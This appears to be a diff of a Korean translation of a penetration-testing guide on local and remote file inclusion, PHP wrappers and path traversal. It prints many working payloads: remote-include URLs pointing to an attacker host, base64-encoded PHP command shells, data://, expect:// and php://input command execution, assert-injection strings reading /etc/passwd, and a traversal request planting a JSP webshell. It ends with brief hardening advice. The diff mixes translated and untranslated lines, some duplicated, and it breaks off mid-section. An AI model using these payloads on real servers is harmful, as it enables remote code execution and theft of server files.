path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 자주 필요합니다.
|
||||
path truncation 기법을 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 서로 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 자주 필요합니다.
|
||||
|
||||
**이 취약점은 PHP 5.3에서 수정되었습니다.**
|
||||
|
||||
@ -145,41 +144,41 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off.**이기 때문입니다. 동작하려면 **On**이어야 하며, 그 경우 서버에서 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
|
||||
php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **`allow_url_include`**가 **Off.**로 설정되어 있기 때문입니다. 동작하려면 이를 **On**으로 설정해야 하며, 그 경우 서버에 있는 PHP 파일을 포함하여 RCE를 얻을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
어떤 이유로 **`allow_url_include`**가 **On**인데, PHP가 외부 웹페이지에 대한 접근을 **필터링**하는 경우, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data protocol과 base64를 사용하여 b64 PHP 코드를 디코드하고 egt RCE를 얻을 수 있습니다:
|
||||
만약 어떤 이유로 **`allow_url_include`**가 **On**인데 PHP가 외부 웹페이지 접근을 **filtering**한다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가된 것입니다. 문자열은 그로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드는 포함되어 (따라서, 실행) 됩니다.
|
||||
|
||||
또 다른 예시로 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
|
||||
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가된 것입니다. 따라서 문자열은 `.txt`로 끝나고 b64 decode 이후 그 부분은 단순한 무의미한 데이터가 되어 실제 PHP 코드만 포함되어(따라서 실행됩니다).
|
||||
>
|
||||
> 또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python 루트 요소
|
||||
|
||||
다음과 같은 python 코드에서:
|
||||
python에서 다음과 같은 코드의 경우:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
사용자가 **절대 경로**를 **`file_name`**에 전달하면, **이전 경로는 단순히 제거됩니다**:
|
||||
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
이것은 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
|
||||
|
||||
> 구성 요소가 절대 경로인 경우, 이전의 모든 구성 요소는 버려지고 결합은 절대 경로 구성 요소에서 계속됩니다.
|
||||
> 컴포넌트가 절대 경로인 경우, 이전의 모든 컴포넌트는 무시되며 결합은 절대 경로 컴포넌트부터 계속됩니다.
|
||||
|
||||
## Java 디렉토리 나열
|
||||
## Java 디렉토리 목록
|
||||
|
||||
보아하니 Java에서 Path Traversal이 있고 파일 대신 디렉토리를 **요청하면**, 디렉토리의 **목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다 (afaik).
|
||||
Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면**, **디렉토리 목록이 반환되는 것처럼 보입니다**. 이는 다른 언어에서는 발생하지 않는 것 같습니다(내가 알기로는).
|
||||
|
||||
## 상위 25개 파라미터
|
||||
|
||||
@ -211,38 +210,38 @@ It is the intended behaviour according to [the docs](https://docs.python.org/3.1
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI — PHP wrappers 및 프로토콜 사용
|
||||
## LFI / RFI PHP 래퍼 및 프로토콜 사용
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 합니다. 필터는 5가지 범주로 나뉩니다:
|
||||
PHP filters는 읽거나 쓰기 전에 데이터에 대한 기본적인 **수정 작업**을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나뉩니다:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: 데이터에서 태그를 제거합니다 (everything between "<" and ">" chars)
|
||||
- `string.strip_tags`: 데이터에서 태그를 제거( "<" 와 ">" 문자 사이의 모든 것)
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환(`convert.iconv.<input_enc>.<output_enc>`)합니다. 지원되는 **모든 인코딩의 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성할 수 있습니다**, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
|
||||
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 참고하세요.
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 내용을 압축합니다 (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: 데이터를 압축 해제합니다
|
||||
- `zlib.deflate`: 콘텐츠를 압축(많은 정보를 exfiltrating할 때 유용)
|
||||
- `zlib.inflate`: 데이터를 압축 해제
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 사용 중단됨
|
||||
- `mdecrypt.*` : 사용 중단됨
|
||||
- Other Filters
|
||||
- `mcrypt.*` : 사용 중단
|
||||
- `mdecrypt.*` : 사용 중단
|
||||
- 기타 필터
|
||||
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
|
||||
- `consumed`
|
||||
- `dechunk`: reverses HTTP chunked encoding
|
||||
- `dechunk`: HTTP chunked encoding을 되돌림
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -273,37 +272,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
> [!WARNING]
|
||||
> The part "php://filter" is case insensitive
|
||||
|
||||
### Using php filters as oracle to read arbitrary files
|
||||
### php filters를 oracle로 사용하여 임의의 파일 읽기
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에서는 서버로부터 출력이 직접 반환되지 않아도 로컬 파일을 읽을 수 있는 기법을 제안합니다. 이 기법은 **boolean exfiltration of the file (char by char) using php filters** 를 오라클로 사용하는 방식에 기반합니다. 이는 php filters를 이용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키게 할 수 있기 때문입니다.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
|
||||
|
||||
원문 포스트에서 기법의 자세한 설명을 볼 수 있으며, 여기에는 간단한 요약을 적습니다:
|
||||
원문 포스트에는 기법에 대한 자세한 설명이 있지만, 여기서는 간단 요약을 제공합니다:
|
||||
|
||||
- codec **`UCS-4LE`** 를 사용하면 텍스트의 선행 문자가 앞부분에 남고 문자열 크기가 지수적으로 증가합니다.
|
||||
- 이것을 이용해 **초기 문자가 올바르게 추측되었을 때 텍스트가 매우 커져서** php가 **오류**를 발생시키도록 만듭니다.
|
||||
- **dechunk** 필터는 **첫 문자가 16진수가 아니면 모든 것을 제거**하므로 첫 문자가 16진수인지 알 수 있습니다.
|
||||
- 이 점과 앞의 방법(및 추측한 문자에 따라 사용하는 다른 필터들)을 조합하면, 충분한 변환을 수행했을 때 처음 문자가 16진수가 아니게 되는 시점을 통해 처음 문자를 추측할 수 있습니다. 만약 16진수라면 dechunk가 삭제하지 않고 초기 폭탄(bomb)이 php 오류를 유발합니다.
|
||||
- codec **convert.iconv.UNICODE.CP930** 은 각 문자를 다음 문자로 변환합니다(따라서 이 codec을 적용하면: a -> b). 이를 이용하면 예를 들어 처음 문자가 `a`인지 확인할 수 있습니다. 이 codec을 6번 적용하면 a->b->c->d->e->f->g 가 되어 문자가 더 이상 16진수 문자가 아니게 되고, 따라서 dechunk가 삭제하지 않아 초기 폭탄으로 인해 php 오류가 발생합니다.
|
||||
- 초기에 **rot13** 같은 변환을 사용하면 n, o, p, q, r 같은 문자들도 leak할 수 있으며(다른 codec들을 사용해 다른 문자들을 16진수 범위로 이동시킬 수도 있습니다) .
|
||||
- 초기 문자가 숫자일 때는 base64로 인코딩하고 처음 두 글자를 leak하여 숫자를 식별해야 합니다.
|
||||
- 최종 문제는 **초기 문자보다 더 많은 문자들을 어떻게 leak할 것인가**입니다. 순서 변경 memory 필터들인 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 등을 사용하면 문자들의 순서를 바꿔 텍스트의 다른 문자를 첫 번째 위치로 가져올 수 있습니다.
|
||||
- 추가 데이터를 얻기 위해서는 아이디어가 **convert.iconv.UTF16.UTF16** 으로 시작에 2바이트의 정크 데이터를 생성하고, **UCS-4LE** 를 적용해 다음 2바이트와 pivot 시키며, 정크 데이터가 나올 때까지 데이터를 삭제하는 것입니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||
- 이것은 이전 필터와 결합되어(추측된 문자에 따라 다른 필터들과 함께) 여러 변환을 적용했을 때 해당 문자가 hexadecimal 문자가 아닐 때를 관찰함으로써 텍스트의 첫 문자를 추측할 수 있게 합니다. 만약 hexadecimal이라면 dechunk가 삭제하지 않으며 초기 폭탄이 php error를 발생시킵니다.
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- 초기에 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 codecs를 사용해 다른 문자들을 hex 범위로 옮길 수 있습니다).
|
||||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||
- 최종 문제는 **how to leak more than the initial letter**입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 같은 order memory filters를 사용하면 문자 순서를 바꿔 텍스트의 다른 문자들을 첫 위치로 올릴 수 있습니다.
|
||||
- 그리고 추가 데이터를 얻기 위해서는 아이디어는 **convert.iconv.UTF16.UTF16**로 처음에 **2 bytes of junk data at the beginning**을 생성하고, **UCS-4LE**를 적용해 다음 2바이트와 **pivot**하게 한 뒤, d**elete the data until the junk data** (이렇게 하면 초기 텍스트의 첫 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
|
||||
|
||||
포스트에는 이 작업을 자동화한 도구도 공개되어 있습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
이 wrapper는 프로세스가 열어둔 file descriptors에 접근할 수 있게 해줍니다. 열린 파일의 내용을 exfiltrate하는 데 잠재적으로 유용합니다:
|
||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
또한 **php://stdin, php://stdout and php://stderr**를 사용해 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 확실하지 않습니다)
|
||||
또한 **php://stdin, php://stdout and php://stderr**를 사용하여 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
|
||||
|
||||
### zip:// 및 rar://
|
||||
### zip:// and rar://
|
||||
|
||||
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근합니다.\
|
||||
rar protocol을 악용하려면 **명시적으로 활성화되어야 합니다**.
|
||||
PHPShell이 포함된 Zip or Rar file을 업로드하고 접근하세요.\
|
||||
rar protocol을 남용하려면 **특별히 활성화되어야 합니다**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,24 +327,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한된다는 점에 유의하세요
|
||||
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한됩니다.
|
||||
|
||||
### expect://
|
||||
|
||||
Expect는 활성화되어 있어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
|
||||
Expect가 활성화되어 있어야 합니다. 이를 통해 code를 실행할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
POST 파라미터에 payload를 지정하세요:
|
||||
POST 파라미터에 페이로드를 지정하세요:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include` 같은 함수를 사용할 때 PHP 코드를 실행하는 데 사용할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일 생성 예시를 보여줍니다:
|
||||
웹 애플리케이션이 파일 로딩에 `include`와 같은 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일을 생성하는 예를 보여줍니다:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -358,11 +357,11 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
실행하면 `test.phar` 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
|
||||
실행하면 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
|
||||
|
||||
LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` 같은 함수로 파일을 단순히 읽기만 하는 경우, `phar` 프로토콜을 통한 파일 읽기와 관련된 역직렬화 취약성을 악용할 수 있습니다.
|
||||
LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()` 같은 함수로 파일을 단순히 읽는 경우, `phar` 프로토콜로 파일을 읽을 때 발생하는 deserialization 취약점을 이용해 공격을 시도할 수 있습니다.
|
||||
|
||||
자세한 내용은 아래 문서를 참조하세요:
|
||||
자세한 내용을 이해하려면 아래 문서를 참조하세요:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,35 +372,36 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
PHP에서 php filters를 지원하는 임의의 파일 읽기(**any arbitrary file read from PHP that supports php filters**)를 악용해 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
매우 간단한 요약: PHP heap의 **3 byte overflow**를 악용해 특정 크기의 free chunks 체인을 **alter the chain of free chunks**하도록 변경하여 임의 주소에 **write anything in any address**할 수 있게 만들었고, 그래서 **`system`**을 호출하는 hook을 추가했습니다.\ 더 많은 php filters를 악용해 특정 크기의 chunks를 alloc하는 것도 가능했습니다.
|
||||
**php filters를 지원하는 PHP에서 읽는 임의의 파일**을 악용하여 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
매우 간단 요약: PHP 힙의 **3 byte overflow**를 악용해 특정 크기의 free chunk 체인을 **변조하여** 임의의 주소에 **무엇이든 쓸 수 있게** 했고, 그 결과 **`system`**을 호출하는 훅을 추가했습니다.\
|
||||
추가적인 php filters를 악용해 특정 크기의 chunk를 할당하는 것이 가능했습니다.
|
||||
|
||||
### More protocols
|
||||
### 더 많은 프로토콜
|
||||
|
||||
더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (not sure how this can be useful in a file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지 확실하지 않음)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 검색 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (arbitrary files 읽기에는 유용하지 않음)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의의 파일을 읽는 데 유용하지 않음)
|
||||
|
||||
## LFI via PHP의 'assert'
|
||||
## PHP의 'assert'를 통한 LFI
|
||||
|
||||
PHP에서 'assert' 함수는 문자열 내의 코드를 실행할 수 있기 때문에 Local File Inclusion (LFI)의 위험이 특히 큽니다. 특히 ".." 같은 directory traversal 문자를 포함한 입력을 검사하지만 적절히 정제(sanitize)하지 않는 경우 더 문제가 됩니다.
|
||||
문자열 내 코드를 실행할 수 있는 'assert' 함수와 관련된 경우 PHP에서 Local File Inclusion (LFI)의 위험이 특히 높습니다. 특히 입력값에 ".."와 같은 디렉터리 트래버설 문자가 포함되어 있는지 확인만 하고 적절히 정제되지 않으면 문제가 됩니다.
|
||||
|
||||
예를 들어, PHP 코드가 다음과 같이 directory traversal을 방지하도록 작성되어 있을 수 있습니다:
|
||||
예를 들어, PHP 코드는 다음과 같이 디렉터리 트래버설을 방지하도록 설계될 수 있습니다:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
이는 traversal을 차단하려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려면, 공격자는 다음을 사용할 수 있습니다:
|
||||
이는 traversal를 막기 위한 시도이지만, 의도치 않게 code injection 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
유사하게, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:
|
||||
마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있습니다:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
@ -410,13 +410,13 @@ It's important to **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> 이 기법은 당신이 **file path**를 제어하는 **PHP function**이 파일에 접근하지만 파일의 내용을 볼 수 없는 경우(예: 단순한 **`file()`** 호출처럼)에 해당합니다.
|
||||
> 이 기법은 당신이 **control** 하는 **file path** 를 가진 **PHP function** 이 **파일에 접근(access a file)** 하지만 파일의 내용을 보지 못하는 경우(예: 단순한 **`file()`** 호출처럼)와 관련이 있습니다.
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
요약하자면, 이 기법은 **"UCS-4LE" encoding**을 사용해 파일의 내용을 매우 **big**하게 만들어 해당 파일을 여는 **PHP function**이 **error**를 발생시키도록 합니다.
|
||||
요약하자면, 이 기법은 **"UCS-4LE" encoding** 을 사용해 파일의 내용을 매우 **big** 하게 만들어 해당 파일을 여는 **PHP function opening** 이 **error** 를 발생시키도록 하는 방식입니다.
|
||||
|
||||
그 다음, 첫 번째 char를 leak하기 위해 필터 **`dechunk`**가 **base64**나 **rot13** 같은 필터들과 함께 사용되며, 마지막으로 **convert.iconv.UCS-4.UCS-4LE**와 **convert.iconv.UTF16.UTF-16BE** 필터를 사용해 다른 chars를 맨 앞에 배치하고 그것들을 leak합니다.
|
||||
그 다음, 첫 문자를 leak 하기 위해 filter **`dechunk`** 를 다른 것들(예: **base64**, **rot13**)과 함께 사용하고 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE** 를 사용하여 **place other chars at the beggining and leak them**.
|
||||
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -426,20 +426,20 @@ For the technical details check the mentioned post!
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
파일을 수집/업로드하는 서버측 코드가 user-controlled data(예: filename 또는 URL)를 사용해 대상 경로를 생성하면서 canonicalising 및 검증을 하지 않으면, `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기를 초래할 수 있습니다. 만약 payload를 web-exposed directory 아래에 둘 수 있다면, 보통 webshell을 업로드하여 인증 없이 RCE를 얻습니다.
|
||||
서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용하여 대상 경로를 조합할 때, canonicalising 및 유효성 검사를 하지 않으면 `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기가 발생할 수 있습니다. 페이로드를 web-exposed 디렉터리에 놓을 수 있다면, 보통 webshell 을 drop 해서 인증 없이 RCE 를 얻을 수 있습니다.
|
||||
|
||||
Typical exploitation workflow:
|
||||
- path/filename을 받아 디스크에 내용을 쓰는 endpoint나 background worker에서 쓰기 primitive를 식별합니다 (예: message-driven ingestion, XML/JSON command handlers, ZIP extractors, 등).
|
||||
- Determine web-exposed directories. Common examples:
|
||||
- 경로/파일명을 받아 디스크에 내용을 쓰는 엔드포인트 또는 background worker(예: 메시지 기반 ingestion, XML/JSON command handlers, ZIP extractors 등)에서 write primitive 를 식별합니다.
|
||||
- web-exposed directories 를 파악합니다. 일반적인 예:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 의도한 저장 디렉터리에서 webroot로 탈출하는 traversal 경로를 만들고, webshell 내용을 포함시킵니다.
|
||||
- 업로드한 payload에 접속하여 명령을 실행합니다.
|
||||
- 의도한 저장 디렉터리에서 webroot 로 빠져나오도록 traversal path 를 만들고, 웹셸 내용을 포함시킵니다.
|
||||
- 배치된 페이로드에 브라우저로 접속하여 명령을 실행합니다.
|
||||
|
||||
Notes:
|
||||
- 쓰기 작업을 수행하는 취약한 서비스는 비-HTTP 포트에서 수신(listen)할 수 있습니다(예: TCP 4004의 JMF XML listener). 메인 웹 포탈(다른 포트)이 나중에 당신의 payload를 서빙할 수 있습니다.
|
||||
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
|
||||
- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004 의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 수 있습니다.
|
||||
- Java 스택에서는 이러한 파일 쓰기가 단순한 `File`/`Paths` 문자열 결합으로 구현되는 경우가 많습니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -465,25 +465,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
이 종류의 버그를 무력화하는 하드닝:
|
||||
- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리(allow-listed base directory)의 하위인지 강제합니다.
|
||||
- `..`, 절대 루트, 또는 드라이브 문자가 포함된 경로는 거부하고, 생성된 파일명(generated filenames)을 선호합니다.
|
||||
- writer를 권한이 낮은 계정(low-privileged account)으로 실행하고, 쓰기 디렉터리를 서비스 루트(served roots)와 분리합니다.
|
||||
Hardening that defeats this class of bugs:
|
||||
- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리의 하위 경로인지 강제 검사합니다.
|
||||
- `..`가 포함되거나 절대 루트 또는 드라이브 문자가 있는 경로는 거부하고, 가능한 경우 생성된 파일 이름을 사용하세요.
|
||||
- writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 서비스되는 루트와 분리하세요.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
자세한 내용은, [**follow this link**](#remote-file-inclusion).
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Apache/Nginx 로그 파일을 통해
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
